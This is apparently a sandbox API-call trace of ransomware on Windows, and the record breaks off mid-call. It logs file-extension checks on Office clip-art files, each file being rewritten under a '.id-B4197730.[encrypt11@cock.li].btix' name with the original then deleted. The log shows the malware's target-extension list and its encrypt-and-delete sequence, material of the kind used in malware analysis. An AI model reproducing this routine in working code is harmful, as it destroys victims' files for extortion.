DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00078_.wmf")) returned 1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.598] lstrlenW (lpString=".doc") returned 4 [0059.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.598] lstrlenW (lpString=".docx") returned 5 [0059.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.598] lstrlenW (lpString=".pdf") returned 4 [0059.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.598] lstrlenW (lpString=".xls") returned 4 [0059.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.598] lstrlenW (lpString=".xlsx") returned 5 [0059.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.598] lstrlenW (lpString=".ppt") returned 4 [0059.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.598] lstrlenW (lpString=".zip") returned 4 [0059.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.598] lstrlenW (lpString=".rar") returned 4 [0059.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.598] lstrlenW (lpString=".bz2") returned 4 [0059.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.598] lstrlenW (lpString=".7z") returned 3 [0059.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.598] lstrlenW (lpString=".dbf") returned 4 [0059.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.599] lstrlenW (lpString=".1cd") returned 4 [0059.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00078_.WMF") returned 68 [0059.599] lstrlenW (lpString=".jpg") returned 4 [0059.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.599] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.599] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.599] GetLastError () returned 0x0 [0059.599] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x1f26, lpOverlapped=0x0) returned 1 [0059.619] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x1f30, lpOverlapped=0x0) returned 1 [0059.620] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.620] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.620] SetEndOfFile (hFile=0x308) returned 1 [0059.620] CloseHandle (hObject=0x308) returned 1 [0059.621] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.621] SetEndOfFile (hFile=0x318) returned 1 [0059.622] CloseHandle (hObject=0x318) returned 1 [0059.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.622] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00092_.wmf")) returned 1 [0059.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.622] lstrlenW (lpString=".doc") returned 4 [0059.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.622] lstrlenW (lpString=".docx") returned 5 [0059.623] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.623] lstrlenW (lpString=".pdf") returned 4 [0059.623] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString=".xls") returned 4 [0059.623] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.623] lstrlenW (lpString=".xlsx") returned 5 [0059.623] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.623] lstrlenW (lpString=".ppt") returned 4 [0059.623] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.623] lstrlenW (lpString=".zip") returned 4 [0059.623] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.623] lstrlenW (lpString=".rar") returned 4 [0059.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString=".bz2") returned 4 [0059.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString=".7z") returned 3 [0059.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.623] lstrlenW (lpString=".dbf") returned 4 [0059.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.623] lstrlenW (lpString=".1cd") returned 4 [0059.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00092_.WMF") returned 68 [0059.623] lstrlenW (lpString=".jpg") returned 4 [0059.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.623] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.623] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.624] GetLastError () returned 0x0 [0059.624] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x94a, lpOverlapped=0x0) returned 1 [0059.706] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x950, lpOverlapped=0x0) returned 1 [0059.707] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.707] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.707] SetEndOfFile (hFile=0x308) returned 1 [0059.708] CloseHandle (hObject=0x308) returned 1 [0059.709] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.709] SetEndOfFile (hFile=0x318) returned 1 [0059.710] CloseHandle (hObject=0x318) returned 1 [0059.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0059.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.710] lstrlenW (lpString=".doc") returned 4 [0059.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.710] lstrlenW (lpString=".docx") returned 5 [0059.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.710] lstrlenW (lpString=".pdf") returned 4 [0059.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString=".xls") returned 4 [0059.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.711] lstrlenW (lpString=".xlsx") returned 5 [0059.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.711] lstrlenW (lpString=".ppt") returned 4 [0059.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.711] lstrlenW (lpString=".zip") returned 4 [0059.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.711] lstrlenW (lpString=".rar") returned 4 [0059.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString=".bz2") returned 4 [0059.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString=".7z") returned 3 [0059.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.711] lstrlenW (lpString=".dbf") returned 4 [0059.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.711] lstrlenW (lpString=".1cd") returned 4 [0059.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 68 [0059.711] lstrlenW (lpString=".jpg") returned 4 [0059.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.712] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.712] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.713] GetLastError () returned 0x0 [0059.713] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x20ae, lpOverlapped=0x0) returned 1 [0059.770] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x20b0, lpOverlapped=0x0) returned 1 [0059.771] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0059.771] WriteFile (in: hFile=0x308, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0059.771] SetEndOfFile (hFile=0x308) returned 1 [0059.864] CloseHandle (hObject=0x308) returned 1 [0059.867] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.867] SetEndOfFile (hFile=0x318) returned 1 [0059.982] CloseHandle (hObject=0x318) returned 1 [0059.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0059.983] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1 [0059.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.983] lstrlenW (lpString=".doc") returned 4 [0059.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.983] lstrlenW (lpString=".docx") returned 5 [0059.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.983] lstrlenW (lpString=".pdf") returned 4 [0059.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.983] lstrlenW (lpString=".xls") returned 4 [0059.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.983] lstrlenW (lpString=".xlsx") returned 5 [0059.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.983] lstrlenW (lpString=".ppt") returned 4 [0059.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.983] lstrlenW (lpString=".zip") returned 4 [0059.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.984] lstrlenW (lpString=".rar") returned 4 [0059.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.984] lstrlenW (lpString=".bz2") returned 4 [0059.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.984] lstrlenW (lpString=".7z") returned 3 [0059.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.984] lstrlenW (lpString=".dbf") returned 4 [0059.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.984] lstrlenW (lpString=".1cd") returned 4 [0059.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68 [0059.984] lstrlenW (lpString=".jpg") returned 4 [0059.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.985] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.985] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0059.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0059.985] GetLastError () returned 0x0 [0059.985] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x4bc, lpOverlapped=0x0) returned 1 [0060.002] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0x4c0, lpOverlapped=0x0) returned 1 [0060.003] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0060.003] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0060.003] SetEndOfFile (hFile=0x354) returned 1 [0060.003] CloseHandle (hObject=0x354) returned 1 [0060.004] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.004] SetEndOfFile (hFile=0x318) returned 1 [0060.005] CloseHandle (hObject=0x318) returned 1 [0060.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.005] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0060.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.005] lstrlenW (lpString=".doc") returned 4 [0060.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.005] lstrlenW (lpString=".docx") returned 5 [0060.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.005] lstrlenW (lpString=".pdf") returned 4 [0060.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString=".xls") returned 4 [0060.006] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.006] lstrlenW (lpString=".xlsx") returned 5 [0060.006] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.006] lstrlenW (lpString=".ppt") returned 4 [0060.006] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.006] lstrlenW (lpString=".zip") returned 4 [0060.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.006] lstrlenW (lpString=".rar") returned 4 [0060.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString=".bz2") returned 4 [0060.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString=".7z") returned 3 [0060.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.006] lstrlenW (lpString=".dbf") returned 4 [0060.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.006] lstrlenW (lpString=".1cd") returned 4 [0060.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0060.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0060.006] lstrlenW (lpString=".jpg") returned 4 [0060.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0060.006] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.006] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0060.007] GetLastError () returned 0x0 [0060.007] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0xdc4, lpOverlapped=0x0) returned 1 [0060.151] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xdd0, lpOverlapped=0x0) returned 1 [0060.156] ReadFile (in: hFile=0x318, lpBuffer=0x3e36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efecc, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesRead=0x33efecc*=0x0, lpOverlapped=0x0) returned 1 [0060.156] WriteFile (in: hFile=0x354, lpBuffer=0x3e36020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc94, lpOverlapped=0x0 | out: lpBuffer=0x3e36020*, lpNumberOfBytesWritten=0x33efc94*=0xec, lpOverlapped=0x0) returned 1 [0060.156] SetEndOfFile (hFile=0x354) returned 1 [0060.156] CloseHandle (hObject=0x354) returned 1 [0060.157] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec0 | out: lpNewFilePointer=0x0) returned 1 [0060.157] SetEndOfFile (hFile=0x318) returned 1 [0060.158] CloseHandle (hObject=0x318) returned 1 [0060.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0060.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf")) returned 1 [0060.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.158] lstrlenW (lpString=".doc") returned 4 [0060.158] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0060.158] lstrlenW (lpString=".docx") returned 5 [0060.158] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0060.158] lstrlenW (lpString=".pdf") returned 4 [0060.158] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0060.159] lstrlenW (lpString=".xls") returned 4 [0060.159] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0060.159] lstrlenW (lpString=".xlsx") returned 5 [0060.159] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0060.159] lstrlenW (lpString=".ppt") returned 4 [0060.159] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0060.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.159] lstrlenW (lpString=".zip") returned 4 [0060.159] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0060.159] lstrlenW (lpString=".rar") returned 4 [0060.159] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0060.159] lstrlenW (lpString=".bz2") returned 4 [0060.159] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0060.159] lstrlenW (lpString=".7z") returned 3 [0060.159] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0060.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.159] lstrlenW (lpString=".dbf") returned 4 [0060.159] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0060.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 68 [0060.159] lstrlenW (lpString=".1cd") returned 4 [0060.159] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 